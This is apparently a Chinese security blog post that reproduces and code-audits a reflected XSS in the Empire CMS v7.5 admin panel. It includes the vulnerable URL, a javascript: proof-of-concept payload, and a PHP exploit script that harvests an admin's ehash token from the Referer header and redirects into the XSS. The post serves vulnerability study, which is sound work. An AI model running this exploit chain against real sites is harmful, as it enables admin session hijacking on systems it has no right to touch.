cms代码审计-详细-Empire CMS v7.5后台XSS

果汁天下苏

已于 2022-03-02 09:42:26 修改

阅读量453

点赞数

文章标签： xss 前端安全

于 2021-11-08 17:59:39 首次发布

本文链接：https://blog.youkuaiyun.com/qq_47604261/article/details/121211547

版权

参考资料(含下载链接)
源创作者 https://www.freebuf.com/vuls/176313.html
版本
Empire CMS v7.5
漏洞
xss

复现

1）访问后台

在这里插入图片描述
漏洞url

http://b.com/e/admin/openpage/AdminPage.php?leftfile=..%2FShopSys%2Fpageleft.php%3Fehash_loRqO%3DNspU9dpDDGEOxrTMIPbV&mainfile=..%2Fother%2FOtherMain.php%3Fehash_loRqO%3DNspU9dpDDGEOxrTMIPbV&title=%E5%95%86%E5%9F%8E%E7%B3%BB%E7%BB%9F%E7%AE%A1%E7%90%86&ehash_loRqO=NspU9dpDDGEOxrTMIPbV

重要参数ehash_loRqO=NspU9dpDDGEOxrTMIPbV
携带这个参数才会访问正常(要用自己的)

payload:
javascript:alert("xss")
替换掉
title的参数或者mainfile的参数
例子

http://b.com/e/admin/openpage/AdminPage.php?leftfile=javascript:alert("果汁天下苏")&mainfile=../other/OtherMain.php?ehash_loRqO=NspU9dpDDGEOxrTMIPbV&title=商城系统管理&ehash_loRqO=NspU9dpDDGEOxrTMIPbV

在这里插入图片描述

代码审计

我php并不是很好我是边审计边学的，难免会有错误
在这里插入图片描述

首先是接收参数
在这里插入图片描述

会传入两个参数可控参数和 1
在这里插入图片描述
CkPostStrChar 方法里

AddAddsData 方法里

之后是插入的地点

在这里插入图片描述
插入的地方是src 所以可以使用伪协议

攻击方法

还是这位师傅写的
在这里插入图片描述
很列害 ,但是没l留下的php 脚本 ,有点不好意思问别人那么简单的问题，我只能去网上找php教程现学的, 很锻炼人。
这位师傅的攻击流程是

超链接 ==》 csrf ==》获取ehash_loRqO参数 ==》 xss

至于为甚能知道别人的ehash_loRqO参数，是请求包中会携带erfrere 参数
在这里插入图片描述
是上一个跳转之前的url
EXP:

<?php
$headers = apache_request_headers();
foreach ($headers as $header => $value) {
    echo "$header: $value <br />\n";

}
echo "<hr/>";

//EXP ↓
$a = getallheaders();
$b = $a['Referer'];
$c = substr($b,49);   //49是分割Referer 最后面那个重要参数ehash 可以根据自己的需求调整
if (isset($c)){
    echo "<script language='javascript'>location.href='http://b.com/e/admin/openpage/AdminPage.php?leftfile=javascript:alert(1)&$c'</script>";
}

?>